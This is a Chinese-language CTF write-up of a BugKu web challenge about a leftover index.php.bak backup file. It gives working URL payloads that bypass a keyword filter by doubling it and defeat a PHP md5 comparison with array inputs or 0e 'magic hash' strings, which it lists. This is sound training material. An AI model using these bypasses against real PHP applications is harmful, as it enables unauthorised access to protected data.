BugKuCTF中套路滿滿的題-------備份是個好習慣
阿新 • • 發佈:2018-12-07
首先就點進去是一串字元
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
仔細看會發現這是兩個一樣的字串,只不過拼接在一起了,MD5解密後的明文是 空
再看題目的標題是備份,那麼就看看本網頁的備份檔案把
輸入
123.206.87.240:8002/web16/index.php.bak
注:.bak 是備份檔案的字尾
會要求下載一個檔案,開啟是一段php程式碼
從程式碼中可以看到,原先輸出為空的一串密文,是因為key1和key2沒有賦值
$str = str_replace('key','',$str);
這條語句又限制了key的輸入,但可以採取雙寫繞過的形式,即 kkeyey1,kkeyey2
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
這一段的程式碼是將key1和key2的值分別加密,再判斷加密後的值是否相同,但輸入的key1和key2的值要不同,才能把flag爆出來。
在這裡有兩種繞過方法:
1.因為md5()函式加密不能處理陣列,則key1和key2的返回值為空,即可獲得flag
http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=4
2.利用==比較漏洞
如果兩個字元經MD5加密後的值為 0exxxxx形式,就會被認為是科學計數法,且表示的是0*10的xxxx次方,還是零,都是相等的。
下列的字串的MD5值都是0e開頭的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
http://123.206.87.240:8002/web16/?kkeyey1=s214587387a&kkeyey2=240610708
前面的一串字元經過解密後可以看出是“NULL”字元,即key1和key2經過md5加密後的值為空,而後面的flag就輕鬆的爆出來了。。。